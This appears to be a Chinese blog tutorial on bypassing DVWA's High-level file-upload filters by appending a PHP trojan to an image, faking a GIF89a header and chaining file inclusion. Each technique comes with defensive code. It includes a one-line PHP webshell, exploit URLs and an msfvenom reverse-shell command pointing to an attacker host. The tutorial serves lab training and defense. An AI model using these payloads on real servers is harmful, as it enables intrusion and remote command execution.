当前位置: 首页 > article >正文

DVWA1.9文件上传High级绕过实战:3种隐藏木马技巧与防御思路

DVWA1.9文件上传High级绕过实战3种隐藏木马技巧与防御思路在Web安全领域文件上传漏洞始终是攻击者最青睐的攻击向量之一。DVWADamn Vulnerable Web Application作为经典的漏洞演练平台其High级别的文件上传防护机制模拟了企业级安全防护的常见手段包括文件扩展名检查、MIME类型验证和文件内容检测。本文将深入剖析三种绕过这些防护的实战技巧并从防御者角度提供对应的防护方案。1. 文件上传漏洞的核心防御机制在探讨绕过技巧前我们需要理解High级别文件上传的防护逻辑。典型的安全检查包括扩展名白名单仅允许.jpg、.jpeg、.png等图像扩展名MIME类型验证检查Content-Type是否为image/jpeg、image/png等文件内容检测使用getimagesize()函数验证文件是否为有效图像文件重命名部分系统会对上传文件进行随机重命名// 典型High级别防护代码示例 $allowed_extensions [jpg, jpeg, png]; $extension strtolower(pathinfo($_FILES[file][name], PATHINFO_EXTENSION)); if(!in_array($extension, $allowed_extensions)) { die(仅允许上传图片文件); } if(!getimagesize($_FILES[file][tmp_name])) { die(上传内容不是有效图片); }2. 图片尾部追加木马技术2.1 技术原理这种方法利用图像文件格式的特性图像查看器通常只解析文件头部的元数据而忽略文件尾部的额外内容。攻击者可以在合法图片后追加PHP代码保持原始图片功能的同时植入恶意代码。2.2 操作步骤准备合法图片文件normal.jpg和PHP木马文件shell.php使用系统命令合并文件copy /b normal.jpg shell.php malicious.jpg上传合并后的文件malicious.jpg通过文件包含或命令注入漏洞激活PHP代码注意此方法需要服务器配置允许执行图片文件中的PHP代码或存在二次漏洞利用点2.3 防御方案// 防御措施检查文件尾部内容 $content file_get_contents($_FILES[file][tmp_name]); if(preg_match(/\?php/i, $content)) { die(检测到可疑PHP代码); } // 更彻底的方案对上传图片进行重采样 $image imagecreatefromstring($content); $clean_path uploads/.uniqid()..jpg; imagejpeg($image, $clean_path, 90); imagedestroy($image);3. GIF89a头部欺骗技术3.1 技术原理GIF89a是GIF图像的文件头标识。通过在PHP木马文件开头添加此标识可以欺骗getimagesize()函数的检测使其误判为合法GIF图像。3.2 操作流程生成PHP反向shellmsfvenom -p php/meterpreter/reverse_tcp LHOST攻击者IP LPORT4444 -o payload.php编辑payload.php在文件开头添加GIF89a;GIF89a; ?php // meterpreter代码... ?将文件重命名为fake.gif并上传利用文件包含漏洞执行http://victim.com/vuln.php?fileuploads/fake.gif3.3 防御对策// 检查文件实际内容与扩展名是否匹配 $allowed_types [ jpg [FFD8FF, FFD9], png [89504E47, AE426082], gif [47494638, 003B] ]; $file_header bin2hex(file_get_contents($_FILES[file][tmp_name], 0, 10)); $file_trailer bin2hex(file_get_contents($_FILES[file][tmp_name], -10)); foreach($allowed_types[$extension] as $marker) { if(!strpos($file_header, $marker) 0 !strpos($file_trailer, $marker) (strlen($file_trailer)-strlen($marker))) { die(文件头尾验证失败); } }4. 文件包含组合利用技术4.1 攻击场景当系统存在文件包含漏洞时攻击者可以上传看似合法的图片文件然后通过文件包含功能执行其中的PHP代码。4.2 典型攻击链创建包含PHP代码的文本文件GIF89a; ?php system($_GET[cmd]); ?将文件重命名为exploit.jpg并上传利用文件包含漏洞执行命令http://victim.com/index.php?pageuploads/exploit.jpgcmdid4.3 全面防御方案// 1. 禁用危险函数 disable_functions system,exec,passthru,shell_exec // 2. 文件包含白名单 $allowed_pages [home.php, about.php]; if(isset($_GET[page]) !in_array($_GET[page], $allowed_pages)) { die(非法访问); } // 3. 上传目录禁用PHP执行 // 在.htaccess中添加 Files *.php Deny from all /Files5. 企业级防御体系建设除了针对具体漏洞的防护企业还应建立多层防御体系前端防护文件类型验证文件大小限制文件名过滤服务端防护文件内容检测病毒扫描文件重命名存储隔离系统层防护location ~* \.(php|phtml)$ { deny all; } location ^~ /uploads/ { location ~ \.php$ { return 403; } }监控与响应文件上传日志审计异常行为检测定期安全扫描在实际项目中我们发现最有效的防御是组合使用内容检测和存储隔离。将上传文件存储在非Web可访问目录通过应用程序代理访问可以显著降低攻击风险。

相关文章:

DVWA1.9文件上传High级绕过实战:3种隐藏木马技巧与防御思路

DVWA1.9文件上传High级绕过实战:3种隐藏木马技巧与防御思路 在Web安全领域,文件上传漏洞始终是攻击者最青睐的攻击向量之一。DVWA(Damn Vulnerable Web Application)作为经典的漏洞演练平台,其High级别的文件上传防护机…...

Jetson 启动视觉定制全攻略:从cboot到桌面背景的深度修改

1. Jetson视觉定制全景概览 当你拿到一台崭新的Jetson设备,第一眼看到的往往是那个熟悉的绿色NVIDIA logo。但对于产品开发者来说,这个默认界面就像穿着别人的工作服上班——专业但缺乏品牌个性。我经手过十几个基于Jetson的机器人项目,每次客…...

如何规避SQL存储过程注入_严格清洗变量并使用预处理

SQL Server动态SQL注入的根本原因是字符串拼接,唯一有效防御是全程参数化:值必须用sp_executesql参数绑定,表名列名等无法参数化的部分须白名单校验。SQL Server 存储过程中 EXEC 动态拼接字符串时为什么总被注入?因为 EXEC&#…...

2026年OpenClaw怎么搭建?3分钟腾讯云新手集成及百炼Coding Plan步骤

2026年OpenClaw怎么搭建?3分钟腾讯云新手集成及百炼Coding Plan步骤。本文面向零基础用户,完整说明在轻量服务器与本地Windows11、macOS、Linux系统中部署OpenClaw(Clawdbot)的流程,包含环境配置、服务启动、Skills集成…...

.NET 诊断技巧 | 日志框架原理、手写日志框架学习纷

一、 什么是 AI Skills:从工具级到框架级的演化 AI Skills(AI 技能) 的概念最早在 Claude Code 等前沿 Agent 实践中被强化。最初,Skills 被视为“工具级”的增强,如简单的文件读写或终端操作,方便用户快速…...

Golang怎么理解GC垃圾回收机制_Golang如何分析和优化Go的内存回收性能【详解】

Go GC 不会立即归还内存给操作系统,而是在空闲超时(默认5分钟)或内存压力突增(如设置GOMEMLIMIT)时由scavenger触发;pprof不显示mmap/cgo等OS层内存,RSS高于HeapSys 20%以上通常表明存在此类问题…...

Z-Image-Turbo-辉夜巫女部署案例:A10G显卡上实现<2s单图生成响应时间

Z-Image-Turbo-辉夜巫女部署案例&#xff1a;A10G显卡上实现<2s单图生成响应时间 1. 引言&#xff1a;当二次元创作遇上极速生成 想象一下&#xff0c;你脑海中浮现出一个“辉夜巫女”的绝美画面——银发、红瞳、身着传统巫女服&#xff0c;背景是飘落的樱花。在传统的工作…...

从零到一:手把手教你构建专属Pikachu漏洞演练场

1. 为什么需要搭建Pikachu漏洞演练场 刚开始学习网络安全时&#xff0c;很多人都会遇到一个尴尬的问题&#xff1a;学了很多理论&#xff0c;但找不到合适的实战环境。直接拿真实网站练手既不道德也不合法&#xff0c;这时候就需要一个安全、可控的漏洞演练平台。Pikachu就是这…...

超轻量级AI助手nanobot:5分钟快速部署与chainlit交互体验

超轻量级AI助手nanobot&#xff1a;5分钟快速部署与chainlit交互体验 1. nanobot简介&#xff1a;极简设计的AI助手 在AI助手领域&#xff0c;体积庞大、资源消耗高的系统比比皆是。而nanobot却走了一条截然不同的道路——用仅约4000行代码实现了OpenClaw的核心功能&#xff…...

FlowPilot完整指南:如何为您的车辆添加开源自动驾驶能力

FlowPilot完整指南&#xff1a;如何为您的车辆添加开源自动驾驶能力 【免费下载链接】flowpilot flow-pilot is an openpilot based driver assistance system that runs on linux, windows and android powered machines. 项目地址: https://gitcode.com/gh_mirrors/fl/flow…...

易语言+Miniblink实战:用HTML5打造炫酷UI界面(附完整代码)

易语言Miniblink实战&#xff1a;用HTML5打造炫酷UI界面&#xff08;附完整代码&#xff09; 在传统桌面应用开发中&#xff0c;易语言因其简单易学的特性广受中文开发者喜爱。然而随着用户对界面美观度和交互体验要求的提升&#xff0c;原生支持库的局限性逐渐显现。本文将带你…...

别再只盯着波特率了!手把手教你为你的Arduino/STM32项目选择合适的串口参数(含校验位与传输距离实战)

嵌入式开发实战&#xff1a;如何为Arduino/STM32项目精准配置串口参数 最近在调试一个基于STM32的温室监测系统时&#xff0c;遇到了一个典型问题&#xff1a;传感器数据在3米距离内传输正常&#xff0c;但当我将传感器移到5米外时&#xff0c;数据就开始出现随机错误。这让我意…...

SteamAutoCrack:一键解锁Steam游戏离线运行的终极方案

SteamAutoCrack&#xff1a;一键解锁Steam游戏离线运行的终极方案 【免费下载链接】Steam-auto-crack Steam Game Automatic Cracker 项目地址: https://gitcode.com/gh_mirrors/st/Steam-auto-crack 在数字游戏时代&#xff0c;许多玩家面临着一个共同的困境&#xff1…...

项目介绍 MATLAB实现基于WT-GRU小波变换(WT)结合门控循环单元(GRU)进行交通流量预测的详细项目实例(含模型描述及部分示例代码)专栏近期有大量优惠 还请多多点一下关注 加油 谢谢 你的鼓

MATLAB实现基于WT-GRU小波变换&#xff08;WT&#xff09;结合门控循环单元&#xff08;GRU&#xff09;进行交通流量预测的详细项目实例 更多详细内容可直接联系博主本人 加v 我的昵称&#xff08;nantangyuxi&#xff09; 或者访问对应标题的完整博客或者文档下载页面&#…...

基于寒武纪MLU370-X8与LLaMA-Factory的ChatGLM3-6B高效微调实战

1. 环境准备&#xff1a;寒武纪MLU370-X8平台搭建 第一次接触寒武纪MLU加速卡时&#xff0c;我和很多开发者一样遇到了环境配置的难题。MLU370-X8作为国产AI加速卡中的旗舰产品&#xff0c;其24GB显存和8卡并行能力确实令人印象深刻&#xff0c;但配套软件生态与NVIDIA存在差异…...

PX4飞控IMU数据质量分析实战:用Python脚本从rosbag里挖出传感器噪声和偏置

PX4飞控IMU数据质量分析实战&#xff1a;用Python脚本从rosbag里挖出传感器噪声和偏置 当你在调试PX4飞控时&#xff0c;是否遇到过这样的困惑&#xff1a;明明按照标准流程完成了IMU标定&#xff0c;但飞行器在悬停时还是会出现微小的漂移&#xff1f;或者在进行高精度定位时&…...

Matlab光场调控的仿真代码(全套复现论文) 之前本科搞大创发了篇文章,纯搞光场调控的仿真...

Matlab光场调控的仿真代码&#xff08;全套复现论文&#xff09; 之前本科搞大创发了篇文章&#xff0c;纯搞光场调控的仿真&#xff0c;后来读研不做这个方向了&#xff0c;寻思卖了 Tips&#xff1a;本科生毕设&#xff0c;研究生搞理论的&#xff0c;领域为非线性光学的、光…...

15分钟搞定黑苹果:OpCore-Simplify让OpenCore配置像安装软件一样简单

15分钟搞定黑苹果&#xff1a;OpCore-Simplify让OpenCore配置像安装软件一样简单 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 还在为复杂的OpenCor…...

PLDM数据类型全解析:从uint8到timestamp104的实战应用指南

PLDM数据类型全解析&#xff1a;从uint8到timestamp104的实战应用指南 在嵌入式系统和固件开发领域&#xff0c;PLDM&#xff08;Platform Level Data Model&#xff09;作为设备管理的关键协议&#xff0c;其数据类型的选择直接影响着系统性能、资源占用和通信效率。本文将深入…...

我用 AI 辅助开发了一系列小工具():文件提取工具读

从0构建WAV文件&#xff1a;读懂计算机文件的本质 虽然接触计算机有一段时间了&#xff0c;但是我的视野一直局限于一个较小的范围之内&#xff0c;往往只能看到于算法竞赛相关的内容&#xff0c;计算机各种文件在我看来十分复杂&#xff0c;认为构建他们并能达到目的是一件困难…...

代码之外周刊(第期):当技术让一切趋同,我们还剩什么?啄

1. 前言 本文详细介绍如何使用 kylin v10 iso 文件构建出 docker image&#xff0c;docker 版本为 20.10.7。 2. 构建 yum 离线源 2.1. 挂载 ISO 文件 mount Kylin-Server-V10-GFB-Release-030-ARM64.iso /media 2.2. 添加离线 repo 文件 在/etc/yum.repos.d/下创建kylin-local…...

终极指南:5步掌握Wallpaper Engine资源解包与格式转换秘籍 [特殊字符]

终极指南&#xff1a;5步掌握Wallpaper Engine资源解包与格式转换秘籍 &#x1f680; 【免费下载链接】repkg Wallpaper engine PKG extractor/TEX to image converter 项目地址: https://gitcode.com/gh_mirrors/re/repkg 还在为Wallpaper Engine的PKG文件头疼吗&#…...

如何快速掌握GDScript:从零开始的游戏开发编程指南

如何快速掌握GDScript&#xff1a;从零开始的游戏开发编程指南 【免费下载链接】learn-gdscript Learn Godots GDScript programming language from zero, right in your browser, for free. 项目地址: https://gitcode.com/gh_mirrors/le/learn-gdscript 想要进入游戏开…...

如何用猫抓浏览器扩展轻松获取网页媒体资源:终极免费解决方案

如何用猫抓浏览器扩展轻松获取网页媒体资源&#xff1a;终极免费解决方案 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 你是否曾遇到过这样的困扰…...

SNN系列|学习算法篇(7)STDP变体与神经调制融合机制

1. STDP学习规则的核心原理与生物基础 脉冲时序依赖可塑性&#xff08;STDP&#xff09;是大脑中突触可塑性的重要机制之一&#xff0c;它通过调整突触前后神经元脉冲的相对时间来改变突触强度。想象一下两个小朋友在玩传球游戏——如果A小朋友总是在B小朋友准备接球前恰到好处…...

利用MSBuild自定义任务实现C#类库编译版本号自动迭代

1. 为什么需要版本号自动迭代&#xff1f; 每次手动修改版本号绝对是开发过程中最容易被忽略的环节之一。我见过太多团队因为忘记更新版本号&#xff0c;导致生产环境出现"1.0.0.0"版本运行了半年的尴尬情况。更糟的是&#xff0c;当需要回滚时&#xff0c;发现所有编…...

PyTorch 2.8镜像部署教程:支持screen后台运行与日志管理的稳定服务配置

PyTorch 2.8镜像部署教程&#xff1a;支持screen后台运行与日志管理的稳定服务配置 1. 镜像概述与环境准备 PyTorch 2.8深度学习镜像基于RTX 4090D 24GB显卡和CUDA 12.4深度优化&#xff0c;专为高性能计算任务设计。这个预配置环境消除了复杂的依赖安装过程&#xff0c;让开…...

重新定义Android调试:ADB Explorer架构深度解构与现代化设计范式

重新定义Android调试&#xff1a;ADB Explorer架构深度解构与现代化设计范式 【免费下载链接】ADB-Explorer A fluent UI for ADB on Windows 项目地址: https://gitcode.com/gh_mirrors/ad/ADB-Explorer 在Android开发工具生态中&#xff0c;ADB&#xff08;Android De…...

终极百度网盘高速下载方案:免费解析工具让下载速度飙升

终极百度网盘高速下载方案&#xff1a;免费解析工具让下载速度飙升 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 还在为百度网盘几十KB的龟速下载而烦恼吗&#xff1f;面对大…...

NVIDIA Profile Inspector:深入解析驱动配置文件兼容性问题与解决方案

NVIDIA Profile Inspector&#xff1a;深入解析驱动配置文件兼容性问题与解决方案 【免费下载链接】nvidiaProfileInspector 项目地址: https://gitcode.com/gh_mirrors/nv/nvidiaProfileInspector NVIDIA Profile Inspector 是一款功能强大的第三方工具&#xff0c;它…...